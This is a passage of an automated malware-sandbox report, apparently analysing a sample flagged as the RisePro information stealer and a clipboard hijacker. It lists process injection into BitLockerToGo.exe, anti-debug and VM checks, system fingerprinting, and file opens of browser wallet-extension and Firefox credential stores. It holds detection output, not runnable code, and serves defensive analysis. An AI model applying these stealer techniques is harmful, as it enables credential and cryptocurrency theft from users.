Source: BitLockerToGo.exe, 00000003.00000002.4563708382.00000000074C8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+`_
Source: Wfn1uIfP6NkqWeb Data.3.dr	Binary or memory string: AMC password management pageVMware20,11696487552
Source: BitLockerToGo.exe, 00000003.00000003.2328545556.00000000074F2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: pageformVMware20,11696487552
Source: Wfn1uIfP6NkqWeb Data.3.dr	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: BitLockerToGo.exe, 00000003.00000003.2328545556.00000000074F2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: rootpagecomVMware20,11696487552o
Source: Wfn1uIfP6NkqWeb Data.3.dr	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: BitLockerToGo.exe, 00000003.00000002.4555474593.000000000312F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000&
Source: BitLockerToGo.exe, 00000003.00000002.4564844029.000000000754A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}r
Source: Wfn1uIfP6NkqWeb Data.3.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: BitLockerToGo.exe, 00000003.00000002.4564844029.000000000754A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}dowsApp
Source: BitLockerToGo.exe, 00000003.00000003.2328545556.00000000074F2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: tive Brokers - non-EU EuropeVMware20,11696487552
Source: Wfn1uIfP6NkqWeb Data.3.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: BitLockerToGo.exe, 00000003.00000003.2325297122.00000000074E1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: inGWLCK8urG3jKNN0mmupGvcU5HlXybvdFUXWgqEhdpkMfvjkkaEbCSfMYSxkL4HWyoXAB1G5hDlqeMuUnwoUAFmVChtHrzZUujZX
Source: Wfn1uIfP6NkqWeb Data.3.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: Wfn1uIfP6NkqWeb Data.3.dr	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: BitLockerToGo.exe, 00000003.00000003.2328545556.00000000074F2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,1169648755
Source: BitLockerToGo.exe, 00000003.00000002.4563708382.000000000749F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 9e146be9-c76a-4720-bcdb-53011b87bd06_{a33c7340-61ca-11ee-8c18-806e6f6e6963}_\\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}_9135C559
Source: BitLockerToGo.exe, 00000003.00000003.3323528014.000000000751F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}S
Source: Wfn1uIfP6NkqWeb Data.3.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: Wfn1uIfP6NkqWeb Data.3.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: Wfn1uIfP6NkqWeb Data.3.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: BitLockerToGo.exe, 00000003.00000002.4563708382.000000000749F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 9e146be9-c76a-4720-bcdb-53011b87bd06_{a33c7340-61ca-11ee-8c18-806e6f6e6963}_\\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}_9135C559V
Source: BitLockerToGo.exe, 00000003.00000003.2268651425.0000000003176000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}
Source: Wfn1uIfP6NkqWeb Data.3.dr	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: BitLockerToGo.exe, 00000003.00000003.2328545556.00000000074F2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,116
Source: Wfn1uIfP6NkqWeb Data.3.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: BitLockerToGo.exe, 00000003.00000003.2328545556.00000000074F2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696p
Source: BitLockerToGo.exe, 00000003.00000002.4555474593.00000000031A7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW!
Source: file.exe, 00000000.00000002.2266690405.000001913B593000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: Wfn1uIfP6NkqWeb Data.3.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: Wfn1uIfP6NkqWeb Data.3.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: BitLockerToGo.exe, 00000003.00000003.2328545556.00000000074F2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: comVMware20,11696487552o
Source: Wfn1uIfP6NkqWeb Data.3.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: BitLockerToGo.exe, 00000003.00000003.2328545556.00000000074F2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: o.inVMware20,11696487552~
Source: Wfn1uIfP6NkqWeb Data.3.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: Wfn1uIfP6NkqWeb Data.3.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: Wfn1uIfP6NkqWeb Data.3.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: Wfn1uIfP6NkqWeb Data.3.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: Wfn1uIfP6NkqWeb Data.3.dr	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: Wfn1uIfP6NkqWeb Data.3.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: Wfn1uIfP6NkqWeb Data.3.dr	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: BitLockerToGo.exe, 00000003.00000003.2328545556.00000000074F2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: HARtive Brokers - non-EU EuropeVMware20,11696487552
Source: Wfn1uIfP6NkqWeb Data.3.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: BitLockerToGo.exe, 00000003.00000003.2328545556.00000000074F2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ccount.microsoft.com/profileVMware20,11696487552u
Source: Wfn1uIfP6NkqWeb Data.3.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: Wfn1uIfP6NkqWeb Data.3.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 3_2_02ED6280 IsDebuggerPresent,

3_2_02ED6280

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 3_2_02E5A102 CreateThread,FindCloseChangeNotification,Sleep,GetTempPathA,CreateDirectoryA,CreateDirectoryA,CreateDirectoryA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,OutputDebugStringA,CreateMutexA,GetLastError,Sleep,Sleep,Sleep,Sleep,shutdown,closesocket,Sleep,

3_2_02E5A102

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

3_2_02ECF280

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_000000C00045CF00 mov eax, dword ptr fs:[00000030h]	0_2_000000C00045CF00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_000000C00045CF00 mov eax, dword ptr fs:[00000030h]	0_2_000000C00045CF00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_000000C000492F60 mov eax, dword ptr fs:[00000030h]	0_2_000000C000492F60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_000000C0004C6180 mov eax, dword ptr fs:[00000030h]	0_2_000000C0004C6180
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02E5A102 mov eax, dword ptr fs:[00000030h]	3_2_02E5A102
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02E5A102 mov ecx, dword ptr fs:[00000030h]	3_2_02E5A102
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02EC86C0 mov eax, dword ptr fs:[00000030h]	3_2_02EC86C0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02E5A6B7 mov eax, dword ptr fs:[00000030h]	3_2_02E5A6B7
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02E5A6B7 mov eax, dword ptr fs:[00000030h]	3_2_02E5A6B7
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02E5A6B7 mov eax, dword ptr fs:[00000030h]	3_2_02E5A6B7
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02ED3070 mov ecx, dword ptr fs:[00000030h]	3_2_02ED3070
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02E95790 mov eax, dword ptr fs:[00000030h]	3_2_02E95790
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02E595B8 mov eax, dword ptr fs:[00000030h]	3_2_02E595B8
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02E595B8 mov eax, dword ptr fs:[00000030h]	3_2_02E595B8
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02E595B8 mov eax, dword ptr fs:[00000030h]	3_2_02E595B8
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02E595B8 mov ecx, dword ptr fs:[00000030h]	3_2_02E595B8
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02E5DB00 mov eax, dword ptr fs:[00000030h]	3_2_02E5DB00
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02E5DB00 mov eax, dword ptr fs:[00000030h]	3_2_02E5DB00
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02ED6280 mov eax, dword ptr fs:[00000030h]	3_2_02ED6280
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02ECA6B3 mov eax, dword ptr fs:[00000030h]	3_2_02ECA6B3
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02ECA502 mov eax, dword ptr fs:[00000030h]	3_2_02ECA502
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02EC8E09 mov eax, dword ptr fs:[00000030h]	3_2_02EC8E09
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02EC8C58 mov eax, dword ptr fs:[00000030h]	3_2_02EC8C58
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02EC6D80 mov eax, dword ptr fs:[00000030h]	3_2_02EC6D80
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02EC9213 mov eax, dword ptr fs:[00000030h]	3_2_02EC9213
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02EC93CB mov eax, dword ptr fs:[00000030h]	3_2_02EC93CB
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02ECB30F mov eax, dword ptr fs:[00000030h]	3_2_02ECB30F
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02ECB15E mov eax, dword ptr fs:[00000030h]	3_2_02ECB15E
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02ED3600 mov eax, dword ptr fs:[00000030h]	3_2_02ED3600
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02ED3600 mov eax, dword ptr fs:[00000030h]	3_2_02ED3600
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02ED3600 mov eax, dword ptr fs:[00000030h]	3_2_02ED3600
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02ED3600 mov eax, dword ptr fs:[00000030h]	3_2_02ED3600
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02ED3600 mov eax, dword ptr fs:[00000030h]	3_2_02ED3600
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02ED3600 mov eax, dword ptr fs:[00000030h]	3_2_02ED3600
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02ED3600 mov eax, dword ptr fs:[00000030h]	3_2_02ED3600
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02ED3600 mov eax, dword ptr fs:[00000030h]	3_2_02ED3600
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02ED3600 mov eax, dword ptr fs:[00000030h]	3_2_02ED3600
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02ED3600 mov eax, dword ptr fs:[00000030h]	3_2_02ED3600
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02ED3600 mov eax, dword ptr fs:[00000030h]	3_2_02ED3600
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02ED3600 mov eax, dword ptr fs:[00000030h]	3_2_02ED3600
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02EC9B4B mov eax, dword ptr fs:[00000030h]	3_2_02EC9B4B
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02EC9CFC mov eax, dword ptr fs:[00000030h]	3_2_02EC9CFC

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 3_2_02EEEA40 CharNextA,CharNextA,CharNextA,CharNextA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,lstrlenA,GetProcessHeap,GetProcessHeap,HeapAlloc,lstrcpynA,GetProcessHeap,HeapFree,

3_2_02EEEA40

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02E34311 SetUnhandledExceptionFilter,	3_2_02E34311
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02E34184 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_02E34184
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02E3451D SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	3_2_02E3451D
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02E38A64 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_02E38A64

HIPS / PFW / Operating System Protection Evasion

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\file.exe

Memory allocated: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 2E00000 protect: page execute and read and write

Jump to behavior

Contains functionality to inject threads in other processes

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

3_2_02ECF280

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\file.exe

Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 2E00000 value starts with: 4D5A

Jump to behavior

Writes to foreign memory regions

Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 2E00000			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 2D3B008			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe			Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Process created: C:\Users\user\AppData\Local\Temp\spanCPXDj512V5iG\KSExO5GhJ2KIj6jiDKtz.exe "C:\Users\user\AppData\Local\Temp\spanCPXDj512V5iG\KSExO5GhJ2KIj6jiDKtz.exe"			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_000000C000433185 cpuid

0_2_000000C000433185

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: CreateDirectoryA,RegOpenKeyExA,RegQueryValueExA,RegCloseKey,GetCurrentHwProfileA,GetModuleHandleExA,GetModuleFileNameA,RegOpenKeyExA,RegQueryValueExA,RegCloseKey,GetComputerNameA,GetUserNameA,GetDesktopWindow,GetWindowRect,GetUserDefaultLocaleName,GetKeyboardLayoutList,GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,GetLocalTime,GetSystemTime,GetTimeZoneInformation,TzSpecificLocalTimeToSystemTime,RegOpenKeyExA,RegQueryValueExA,RegCloseKey,GetSystemInfo,GlobalMemoryStatusEx,EnumDisplayDevicesA,EnumDisplayDevicesA,CreateToolhelp32Snapshot,Process32First,Process32Next,Process32Next,CloseHandle,RegOpenKeyExA,RegEnumKeyExA,wsprintfA,RegOpenKeyExA,RegQueryValueExA,RegQueryValueExA,RegCloseKey,RegCloseKey,	3_2_02EE06D0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: GetACP,IsValidCodePage,GetLocaleInfoW,	3_2_02E52B5A
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: EnumSystemLocalesW,	3_2_02E52EEC
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: EnumSystemLocalesW,	3_2_02E52E51
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: EnumSystemLocalesW,	3_2_02E52E06
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	3_2_02E52F77
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: GetLocaleInfoW,	3_2_02E52D5F
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	3_2_02E532F3
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: GetLocaleInfoW,	3_2_02E533F9
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: GetLocaleInfoW,	3_2_02E531CA
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: EnumSystemLocalesW,	3_2_02E4B1B1
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: GetLocaleInfoW,	3_2_02E4B734
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	3_2_02E534CF
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: GetLocaleInfoEx,FormatMessageA,	3_2_02E31D94

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe VolumeInformation	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

3_2_02EE06D0

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

3_2_02EE06D0

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

3_2_02EE06D0

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 3_2_02F44C30 GetVersionExA,GetFileAttributesW,GetFileAttributesA,

3_2_02F44C30

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected Clipboard Hijacker

Source: Yara match	File source: 9.2.MSIUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.MSIUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.EdgeMS2.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.KSExO5GhJ2KIj6jiDKtz.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.oobeldr.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.AdobeUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.AdobeUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE

Yara detected RisePro Stealer

Source: Yara match	File source: 00000003.00000003.3323243093.000000000749F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.4563708382.000000000749F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.2335364772.00000000077EF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\9VicU2EcsIoeWuNiSqblWRg.zip, type: DROPPED

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai\CURRENT	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao\CURRENT	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn\CURRENT	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\NETGATE Technologies\BlackHawk\profiles.ini	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec\CURRENT	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm\CURRENT	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih\CURRENT	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\logins.json	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln\CURRENT	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj\CURRENT	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn\CURRENT	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj\CURRENT	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm\CURRENT	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai\CURRENT	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao\CURRENT	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\blnieiiffboillknjnepogjhkgnoapac\CURRENT	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec\CURRENT	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln\CURRENT	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\signons.sqlite	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\0absryc3.default\logins.json	Jump to behavior
